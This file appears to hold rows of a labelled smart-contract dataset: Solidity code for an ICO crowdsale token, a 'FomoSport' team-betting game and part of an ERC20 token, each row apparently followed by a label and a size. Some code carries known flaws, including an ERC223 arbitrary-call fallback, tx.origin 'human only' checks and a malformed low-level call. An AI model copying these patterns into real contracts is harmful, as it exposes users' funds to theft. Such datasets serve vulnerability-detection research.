function getBonusTokens(uint256 _tokenAmount)onlyOwner public returns(uint256) {
if (block.timestamp >= startOfFirstBonus && block.timestamp <= endOfFirstBonus) {
_tokenAmount = _tokenAmount.mul(firstBonus).div(100);
} else if (block.timestamp >= startOfSecondBonus && block.timestamp <= endOfSecondBonus) {
_tokenAmount = _tokenAmount.mul(secondBonus).div(100);
} else if (block.timestamp >= startOfThirdBonus && block.timestamp <= endOfThirdBonus) {
_tokenAmount = _tokenAmount.mul(thirdBonus).div(100);
} else if (block.timestamp >= startOfFourthBonus && block.timestamp <= endOfFourthBonus) {
_tokenAmount = _tokenAmount.mul(fourthBonus).div(100);
} else if (block.timestamp >= startOfFifthBonus && block.timestamp <= endOfFifthBonus) {
_tokenAmount = _tokenAmount.mul(fifthBonus).div(100);
} else _tokenAmount=0;
emit BonusCalculated(_tokenAmount);
return _tokenAmount;
}
}
contract StandardToken is ERC20, ERC223, Ownable {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
uint256 internal _bonusSupply;
uint256 public ethRate;
uint256 public min_contribution;
uint256 public totalWeiRaised;
uint public tokensSold;
uint public softCap;
uint public start;
uint public end;
bool public crowdsaleClosed;
RefundVault public vault;
BonusScheme public bonusScheme;
address public fundsWallet;
mapping(address => bool)public frozenAccount;
mapping(address => uint256)internal balances;
mapping(address => mapping(address => uint256))internal allowed;
event Burn(address indexed burner, uint256 value);
event FrozenFunds(address target, bool frozen);
event Finalized();
event BonusSent(address indexed from, address indexed to, uint256 boughtTokens, uint256 bonusTokens);
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function StandardToken()public {
_symbol = "AmTC1";
_name = "AmTokenTestCase1";
_decimals = 5;
_totalSupply = 1100000 * (10 ** uint256(_decimals));
_bonusSupply = _totalSupply * 17 / 100;
fundsWallet = msg.sender;
vault = new RefundVault(fundsWallet);
bonusScheme = new BonusScheme();
balances[msg.sender] = _totalSupply.sub(_bonusSupply);
balances[bonusScheme] = _bonusSupply;
ethRate = 40000000;
min_contribution = 1 ether / (10**11);
totalWeiRaised = 0;
tokensSold = 0;
softCap = 20000 * 10 ** uint(_decimals);
start = 1526021100;
end = 1526023500;
crowdsaleClosed = false;
}
modifier beforeICO() {
require(block.timestamp <= start);
_;
}
modifier afterDeadline() {
require(block.timestamp > end);
_;
}
function name()
public
view
returns(string) {
return _name;
}
function symbol()
public
view
returns(string) {
return _symbol;
}
function decimals()
public
view
returns(uint8) {
return _decimals;
}
function totalSupply()
public
view
returns(uint256) {
return _totalSupply;
}
function ()external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary)public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
require(balances[this] > tokens);
totalWeiRaised = totalWeiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_processBonus(_beneficiary, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)internal view {
require(_beneficiary != address(0));
require(_weiAmount >= min_contribution);
require(!crowdsaleClosed && block.timestamp >= start && block.timestamp <= end);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount)internal pure {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount)internal {
this.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount)internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _processBonus(address _beneficiary, uint256 _tokenAmount)internal {
uint256 bonusTokens = bonusScheme.getBonusTokens(_tokenAmount);
if (balances[bonusScheme] < bonusTokens) {
bonusTokens = balances[bonusScheme];
}
if (bonusTokens > 0) {
balances[bonusScheme] = balances[bonusScheme].sub(bonusTokens);
balances[_beneficiary] = balances[_beneficiary].add(bonusTokens);
emit Transfer(address(bonusScheme), _beneficiary, bonusTokens);
emit BonusSent(address(bonusScheme), _beneficiary, _tokenAmount, bonusTokens);
tokensSold = tokensSold.add(bonusTokens);
}
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount)internal {
}
function _getTokenAmount(uint256 _weiAmount)internal view returns(uint256) {
_weiAmount = _weiAmount.mul(ethRate);
return _weiAmount.div(10 ** uint(18 - _decimals));
}
function _forwardFunds()internal {
vault.deposit.value(msg.value)(msg.sender);
}
function transfer(address _to, uint256 _value)public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner)public view returns(uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value)public returns(bool) {
require(_to != address(0));
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)public view returns(uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback)public returns(bool success) {
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
if (isContract(_to)) {
return transferToContractWithCustomFallback(_to, _value, _data, _custom_fallback);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data)public returns(bool) {
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr)private view returns(bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data)private returns(bool success) {
require(balanceOf(msg.sender) > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data)private returns(bool success) {
require(balanceOf(msg.sender) > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContractWithCustomFallback(address _to, uint _value, bytes _data, string _custom_fallback)private returns(bool success) {
require(balanceOf(msg.sender) > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function setPreICOSoldAmount(uint256 _soldTokens, uint256 _raisedWei)onlyOwner beforeICO public {
tokensSold = tokensSold.add(_soldTokens);
totalWeiRaised = totalWeiRaised.add(_raisedWei);
}
function freezeAccount(address target, bool freeze)onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function burn(uint256 _value)onlyOwner public returns(bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function withdrawTokens()onlyOwner public returns(bool) {
require(this.transfer(owner, balances[this]));
uint256 bonusTokens = balances[address(bonusScheme)];
balances[address(bonusScheme)] = 0;
if (bonusTokens > 0) {
balances[owner] = balances[owner].add(bonusTokens);
emit Transfer(address(bonusScheme), owner, bonusTokens);
}
return true;
}
function transferAnyERC20Token(address _tokenAddress, uint256 _amount)onlyOwner public returns(bool success) {
return ERC20(_tokenAddress).transfer(owner, _amount);
}
function claimRefund()public {
require(crowdsaleClosed);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached()public view returns(bool) {
return tokensSold >= softCap;
}
function finalization()internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
function finalize()onlyOwner afterDeadline public {
require(!crowdsaleClosed);
finalization();
emit Finalized();
withdrawTokens();
crowdsaleClosed = true;
}
} | 0 | 956 |
pragma solidity 0.4.25;
contract FSEvents {
event onGameCreated(
uint256 indexed gameID,
uint256 timestamp
);
event onGameActivated(
uint256 indexed gameID,
uint256 startTime,
uint256 timestamp
);
event onGamePaused(
uint256 indexed gameID,
bool paused,
uint256 timestamp
);
event onChangeCloseTime(
uint256 indexed gameID,
uint256 closeTimestamp,
uint256 timestamp
);
event onPurchase(
uint256 indexed gameID,
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 teamID,
uint256 ethIn,
uint256 keysBought,
uint256 affID,
uint256 timestamp
);
event onComment(
uint256 indexed gameID,
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethIn,
string comment,
uint256 timestamp
);
event onWithdraw(
uint256 indexed gameID,
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timestamp
);
event onGameEnded(
uint256 indexed gameID,
uint256 winningTeamID,
string comment,
uint256 timestamp
);
event onGameCancelled(
uint256 indexed gameID,
string comment,
uint256 timestamp
);
event onFundCleared(
uint256 indexed gameID,
uint256 fundCleared,
uint256 timestamp
);
}
contract FomoSport is FSEvents {
using FSKeyCalc for *;
using SafeMath for *;
FSInterfaceForForwarder constant private FSKingCorp = FSInterfaceForForwarder(0x3a2321DDC991c50518969B93d2C6B76bf5309790);
FSBookInterface constant private FSBook = FSBookInterface(0xb440cF08BC2C78C33f3D29726d6c8ba5cBaA4B91);
string constant public name_ = "FomoSport";
uint256 public gameIDIndex_;
mapping(uint256 => FSdatasets.Game) public game_;
mapping(uint256 => FSdatasets.GameStatus) public gameStatus_;
mapping(uint256 => mapping(uint256 => FSdatasets.Team)) public teams_;
mapping(uint256 => mapping(uint256 => FSdatasets.Player)) public players_;
mapping(uint256 => mapping(uint256 => mapping(uint256 => FSdatasets.PlayerTeam))) public playerTeams_;
mapping(uint256 => mapping(uint256 => FSdatasets.PlayerComment)) public playerComments_;
mapping(uint256 => uint256) public playerCommentsIndex_;
constructor() public {
gameIDIndex_ = 1;
}
function createGame(string _name, bytes32[] _teamNames)
external
isHuman()
isOwner()
returns(uint256)
{
uint256 _gameID = gameIDIndex_;
gameIDIndex_++;
game_[_gameID].name = _name;
uint256 _nt = _teamNames.length;
require(_nt > 0, "number of teams must be larger than 0");
game_[_gameID].numberOfTeams = _nt;
for (uint256 i = 0; i < _nt; i++) {
teams_[_gameID][i] = FSdatasets.Team(_teamNames[i], 0, 0, 0, 0);
}
emit onGameCreated(_gameID, now);
return _gameID;
}
function activate(uint256 _gameID, uint256 _startTime)
external
isHuman()
isOwner()
{
require(_gameID < gameIDIndex_, "incorrect game id");
require(game_[_gameID].gameStartTime == 0, "already activated");
game_[_gameID].gameStartTime = _startTime;
emit onGameActivated(_gameID, _startTime, now);
}
function buysXid(uint256 _gameID, uint256[] memory _teamEth, uint256 _affCode, string memory _comment)
public
payable
isActivated(_gameID)
isOngoing(_gameID)
isNotPaused(_gameID)
isNotClosed(_gameID)
isHuman()
isWithinLimits(msg.value)
{
uint256 _pID = FSBook.getPlayerID(msg.sender);
uint256 _affID;
if (_affCode != 0 && _affCode != _pID) {
FSBook.setPlayerLAff(_pID, _affCode);
_affID = _affCode;
} else {
_affID = FSBook.getPlayerLAff(_pID);
}
buysCore(_gameID, _pID, _teamEth, _affID);
handleComment(_gameID, _pID, _comment);
}
function pauseGame(uint256 _gameID, bool _paused)
external
isActivated(_gameID)
isOngoing(_gameID)
isOwner()
{
game_[_gameID].paused = _paused;
emit onGamePaused(_gameID, _paused, now);
}
function setCloseTime(uint256 _gameID, uint256 _closeTime)
external
isActivated(_gameID)
isOngoing(_gameID)
isOwner()
{
game_[_gameID].closeTime = _closeTime;
emit onChangeCloseTime(_gameID, _closeTime, now);
}
function settleGame(uint256 _gameID, uint256 _team, string _comment, uint256 _deadline)
external
isActivated(_gameID)
isOngoing(_gameID)
isValidTeam(_gameID, _team)
isOwner()
{
require(_deadline >= now + 86400, "deadline must be more than one day later.");
game_[_gameID].ended = true;
game_[_gameID].winnerTeam = _team;
game_[_gameID].gameEndComment = _comment;
game_[_gameID].withdrawDeadline = _deadline;
if (teams_[_gameID][_team].keys == 0) {
uint256 _totalPot = (gameStatus_[_gameID].winningVaultInst).add(gameStatus_[_gameID].winningVaultFinal);
gameStatus_[_gameID].totalWithdrawn = _totalPot;
if (_totalPot > 0) {
FSKingCorp.deposit.value(_totalPot)();
}
}
emit FSEvents.onGameEnded(_gameID, _team, _comment, now);
}
function cancelGame(uint256 _gameID, string _comment, uint256 _deadline)
external
isActivated(_gameID)
isOngoing(_gameID)
isOwner()
{
require(_deadline >= now + 86400, "deadline must be more than one day later.");
game_[_gameID].ended = true;
game_[_gameID].canceled = true;
game_[_gameID].gameEndComment = _comment;
game_[_gameID].withdrawDeadline = _deadline;
emit FSEvents.onGameCancelled(_gameID, _comment, now);
}
function withdraw(uint256 _gameID)
external
isHuman()
isActivated(_gameID)
isEnded(_gameID)
{
require(now < game_[_gameID].withdrawDeadline, "withdraw deadline already passed");
require(gameStatus_[_gameID].fundCleared == false, "fund already cleared");
uint256 _pID = FSBook.pIDxAddr_(msg.sender);
require(_pID != 0, "player has not played this game");
require(players_[_pID][_gameID].withdrawn == false, "player already cashed out");
players_[_pID][_gameID].withdrawn = true;
if (game_[_gameID].canceled) {
uint256 _totalInvestment = players_[_pID][_gameID].eth.mul(95) / 100;
if (_totalInvestment > 0) {
FSBook.getPlayerAddr(_pID).transfer(_totalInvestment);
gameStatus_[_gameID].totalWithdrawn = _totalInvestment.add(gameStatus_[_gameID].totalWithdrawn);
}
emit FSEvents.onWithdraw(_gameID, _pID, msg.sender, FSBook.getPlayerName(_pID), _totalInvestment, now);
} else {
uint256 _totalWinnings = getPlayerInstWinning(_gameID, _pID, game_[_gameID].winnerTeam).add(getPlayerPotWinning(_gameID, _pID, game_[_gameID].winnerTeam));
if (_totalWinnings > 0) {
FSBook.getPlayerAddr(_pID).transfer(_totalWinnings);
gameStatus_[_gameID].totalWithdrawn = _totalWinnings.add(gameStatus_[_gameID].totalWithdrawn);
}
emit FSEvents.onWithdraw(_gameID, _pID, msg.sender, FSBook.getPlayerName(_pID), _totalWinnings, now);
}
}
function clearFund(uint256 _gameID)
external
isHuman()
isEnded(_gameID)
isOwner()
{
require(now >= game_[_gameID].withdrawDeadline, "withdraw deadline not passed yet");
require(gameStatus_[_gameID].fundCleared == false, "fund already cleared");
gameStatus_[_gameID].fundCleared = true;
uint256 _totalPot = (gameStatus_[_gameID].winningVaultInst).add(gameStatus_[_gameID].winningVaultFinal);
uint256 _amount = _totalPot.sub(gameStatus_[_gameID].totalWithdrawn);
if (_amount > 0) {
FSKingCorp.deposit.value(_amount)();
}
emit onFundCleared(_gameID, _amount, now);
}
function getPlayerInstWinning(uint256 _gameID, uint256 _pID, uint256 _team)
public
view
isActivated(_gameID)
isValidTeam(_gameID, _team)
returns(uint256)
{
return ((((teams_[_gameID][_team].mask).mul(playerTeams_[_pID][_gameID][_team].keys)) / (1000000000000000000)).sub(playerTeams_[_pID][_gameID][_team].mask));
}
function getPlayerPotWinning(uint256 _gameID, uint256 _pID, uint256 _team)
public
view
isActivated(_gameID)
isValidTeam(_gameID, _team)
returns(uint256)
{
if (teams_[_gameID][_team].keys > 0) {
return gameStatus_[_gameID].winningVaultFinal.mul(playerTeams_[_pID][_gameID][_team].keys) / teams_[_gameID][_team].keys;
} else {
return 0;
}
}
function getGameStatus(uint256 _gameID)
public
view
isActivated(_gameID)
returns(uint256, bytes32[] memory, uint256[] memory, uint256[] memory, uint256[] memory)
{
uint256 _nt = game_[_gameID].numberOfTeams;
bytes32[] memory _names = new bytes32[](_nt);
uint256[] memory _keys = new uint256[](_nt);
uint256[] memory _eth = new uint256[](_nt);
uint256[] memory _keyPrice = new uint256[](_nt);
uint256 i;
for (i = 0; i < _nt; i++) {
_names[i] = teams_[_gameID][i].name;
_keys[i] = teams_[_gameID][i].keys;
_eth[i] = teams_[_gameID][i].eth;
_keyPrice[i] = getBuyPrice(_gameID, i, 1000000000000000000);
}
return (_nt, _names, _keys, _eth, _keyPrice);
}
function getPlayerStatus(uint256 _gameID, uint256 _pID)
public
view
isActivated(_gameID)
returns(bytes32, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory)
{
uint256 _nt = game_[_gameID].numberOfTeams;
uint256[] memory _eth = new uint256[](_nt);
uint256[] memory _keys = new uint256[](_nt);
uint256[] memory _instWin = new uint256[](_nt);
uint256[] memory _potWin = new uint256[](_nt);
uint256 i;
for (i = 0; i < _nt; i++) {
_eth[i] = playerTeams_[_pID][_gameID][i].eth;
_keys[i] = playerTeams_[_pID][_gameID][i].keys;
_instWin[i] = getPlayerInstWinning(_gameID, _pID, i);
_potWin[i] = getPlayerPotWinning(_gameID, _pID, i);
}
return (FSBook.getPlayerName(_pID), _eth, _keys, _instWin, _potWin);
}
function getBuyPrice(uint256 _gameID, uint256 _team, uint256 _keys)
public
view
isActivated(_gameID)
isValidTeam(_gameID, _team)
returns(uint256)
{
return ((teams_[_gameID][_team].keys.add(_keys)).ethRec(_keys));
}
function getBuyPrices(uint256 _gameID, uint256[] memory _keys)
public
view
isActivated(_gameID)
returns(uint256, uint256[])
{
uint256 _totalEth = 0;
uint256 _nt = game_[_gameID].numberOfTeams;
uint256[] memory _eth = new uint256[](_nt);
uint256 i;
require(_nt == _keys.length, "Incorrect number of teams");
for (i = 0; i < _nt; i++) {
if (_keys[i] > 0) {
_eth[i] = getBuyPrice(_gameID, i, _keys[i]);
_totalEth = _totalEth.add(_eth[i]);
}
}
return (_totalEth, _eth);
}
function getKeysfromETH(uint256 _gameID, uint256 _team, uint256 _eth)
public
view
isActivated(_gameID)
isValidTeam(_gameID, _team)
returns(uint256)
{
return (teams_[_gameID][_team].eth).keysRec(_eth);
}
function getKeysFromETHs(uint256 _gameID, uint256[] memory _eths)
public
view
isActivated(_gameID)
returns(uint256, uint256[])
{
uint256 _totalKeys = 0;
uint256 _nt = game_[_gameID].numberOfTeams;
uint256[] memory _keys = new uint256[](_nt);
uint256 i;
require(_nt == _eths.length, "Incorrect number of teams");
for (i = 0; i < _nt; i++) {
if (_eths[i] > 0) {
_keys[i] = getKeysfromETH(_gameID, i, _eths[i]);
_totalKeys = _totalKeys.add(_keys[i]);
}
}
return (_totalKeys, _keys);
}
function handleComment(uint256 _gameID, uint256 _pID, string memory _comment)
private
{
bytes memory _commentBytes = bytes(_comment);
if (_commentBytes.length == 0) {
return;
}
uint256 _totalEth = msg.value;
if (_totalEth >= 1000000000000000) {
require(_commentBytes.length <= 64, "comment is too long");
bytes32 _name = FSBook.getPlayerName(_pID);
playerComments_[_gameID][playerCommentsIndex_[_gameID]] = FSdatasets.PlayerComment(_pID, _name, _totalEth, _comment);
playerCommentsIndex_[_gameID] ++;
emit onComment(_gameID, _pID, msg.sender, _name, _totalEth, _comment, now);
}
}
function buysCore(uint256 _gameID, uint256 _pID, uint256[] memory _teamEth, uint256 _affID)
private
{
uint256 _nt = game_[_gameID].numberOfTeams;
uint256[] memory _keys = new uint256[](_nt);
bytes32 _name = FSBook.getPlayerName(_pID);
uint256 _totalEth = 0;
uint256 i;
require(_teamEth.length == _nt, "Number of teams is not correct");
for (i = 0; i < _nt; i++) {
if (_teamEth[i] > 0) {
_totalEth = _totalEth.add(_teamEth[i]);
_keys[i] = (teams_[_gameID][i].eth).keysRec(_teamEth[i]);
playerTeams_[_pID][_gameID][i].eth = _teamEth[i].add(playerTeams_[_pID][_gameID][i].eth);
playerTeams_[_pID][_gameID][i].keys = _keys[i].add(playerTeams_[_pID][_gameID][i].keys);
teams_[_gameID][i].eth = _teamEth[i].add(teams_[_gameID][i].eth);
teams_[_gameID][i].keys = _keys[i].add(teams_[_gameID][i].keys);
emit FSEvents.onPurchase(_gameID, _pID, msg.sender, _name, i, _teamEth[i], _keys[i], _affID, now);
}
}
require(_totalEth == msg.value, "Total ETH is not the same as msg.value");
gameStatus_[_gameID].totalEth = _totalEth.add(gameStatus_[_gameID].totalEth);
players_[_pID][_gameID].eth = _totalEth.add(players_[_pID][_gameID].eth);
distributeAll(_gameID, _pID, _affID, _totalEth, _keys);
}
function distributeAll(uint256 _gameID, uint256 _pID, uint256 _affID, uint256 _totalEth, uint256[] memory _keys)
private
{
uint256 _com = _totalEth / 50;
uint256 _aff = _totalEth.mul(3) / 100;
_com = _com.add(handleAffiliate(_pID, _affID, _aff));
uint256 _instPot = _totalEth.mul(15) / 100;
uint256 _pot = _totalEth.mul(80) / 100;
if (!address(FSKingCorp).call.value(_com)(abi.encode("deposit()"))) {
_pot = _pot.add(_com);
}
gameStatus_[_gameID].winningVaultInst = _instPot.add(gameStatus_[_gameID].winningVaultInst);
gameStatus_[_gameID].winningVaultFinal = _pot.add(gameStatus_[_gameID].winningVaultFinal);
uint256 _nt = _keys.length;
for (uint256 i = 0; i < _nt; i++) {
uint256 _newPot = _instPot.add(teams_[_gameID][i].dust);
uint256 _dust = updateMasks(_gameID, _pID, i, _newPot, _keys[i]);
teams_[_gameID][i].dust = _dust;
}
}
function handleAffiliate(uint256 _pID, uint256 _affID, uint256 _aff)
private
returns (uint256)
{
uint256 _com = 0;
if (_affID == 0 || _affID == _pID) {
_com = _aff;
} else if(FSBook.getPlayerHasAff(_affID)) {
FSBook.depositAffiliate.value(_aff)(_affID);
} else {
_com = _aff;
}
return _com;
}
function updateMasks(uint256 _gameID, uint256 _pID, uint256 _team, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
if (teams_[_gameID][_team].keys > 0) {
uint256 _ppt = (_gen.mul(1000000000000000000)) / (teams_[_gameID][_team].keys);
teams_[_gameID][_team].mask = _ppt.add(teams_[_gameID][_team].mask);
updatePlayerMask(_gameID, _pID, _team, _ppt, _keys);
return(_gen.sub((_ppt.mul(teams_[_gameID][_team].keys)) / (1000000000000000000)));
} else {
return _gen;
}
}
function updatePlayerMask(uint256 _gameID, uint256 _pID, uint256 _team, uint256 _ppt, uint256 _keys)
private
{
if (_keys > 0) {
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
playerTeams_[_pID][_gameID][_team].mask = (((teams_[_gameID][_team].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(playerTeams_[_pID][_gameID][_team].mask);
}
}
modifier isActivated(uint256 _gameID) {
require(game_[_gameID].gameStartTime > 0, "Not activated yet");
require(game_[_gameID].gameStartTime <= now, "game not started yet");
_;
}
modifier isNotPaused(uint256 _gameID) {
require(game_[_gameID].paused == false, "game is paused");
_;
}
modifier isNotClosed(uint256 _gameID) {
require(game_[_gameID].closeTime == 0 || game_[_gameID].closeTime > now, "game is closed");
_;
}
modifier isOngoing(uint256 _gameID) {
require(game_[_gameID].ended == false, "game is ended");
_;
}
modifier isEnded(uint256 _gameID) {
require(game_[_gameID].ended == true, "game is not ended");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin, "Human only");
uint256 _codeLength;
assembly { _codeLength := extcodesize(_addr) }
require(_codeLength == 0, "Human only");
_;
}
modifier isOwner() {
require(
msg.sender == 0xE3FF68fB79FEE1989FB67Eb04e196E361EcAec3e ||
msg.sender == 0xb914843D2E56722a2c133Eff956d1F99b820D468 ||
msg.sender == 0xE0b005384dF8F4D80e9a69B6210eC1929A935D97 ||
msg.sender == 0xc52FA2C9411fCd4f58be2d6725094689C46242f2
, "Only owner can do this");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
modifier isValidTeam(uint256 _gameID, uint256 _team) {
require(_team < game_[_gameID].numberOfTeams, "there is no such team");
_;
}
}
library FSKeyCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(3125000000000000000000000000)).add(562498828125610351562500000000000000000000000000000000000000000000)).sqrt()).sub(749999218750000000000000000000000)) / (1562500000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((781250000).mul(_keys.sq()).add(((1499998437500000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library FSdatasets {
struct Game {
string name;
uint256 numberOfTeams;
uint256 gameStartTime;
bool paused;
bool ended;
bool canceled;
uint256 winnerTeam;
uint256 withdrawDeadline;
string gameEndComment;
uint256 closeTime;
}
struct GameStatus {
uint256 totalEth;
uint256 totalWithdrawn;
uint256 winningVaultInst;
uint256 winningVaultFinal;
bool fundCleared;
}
struct Team {
bytes32 name;
uint256 keys;
uint256 eth;
uint256 mask;
uint256 dust;
}
struct Player {
uint256 eth;
bool withdrawn;
}
struct PlayerTeam {
uint256 keys;
uint256 eth;
uint256 mask;
}
struct PlayerComment {
uint256 playerID;
bytes32 playerName;
uint256 ethIn;
string comment;
}
}
interface FSInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface FSBookInterface {
function pIDxAddr_(address _addr) external returns (uint256);
function pIDxName_(bytes32 _name) external returns (uint256);
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function setPlayerLAff(uint256 _pID, uint256 _lAff) external;
function getPlayerAffT2(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getPlayerHasAff(uint256 _pID) external view returns (bool);
function getNameFee() external view returns (uint256);
function getAffiliateFee() external view returns (uint256);
function depositAffiliate(uint256 _pID) external payable;
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x, 1)) / 2);
y = x;
while (z < y) {
y = z;
z = ((add((x / z), z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x == 0) {
return (0);
} else if (y == 0) {
return (1);
} else {
uint256 z = x;
for (uint256 i = 1; i < y; i++) {
z = mul(z,x);
}
return (z);
}
}
} | 1 | 3,791 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
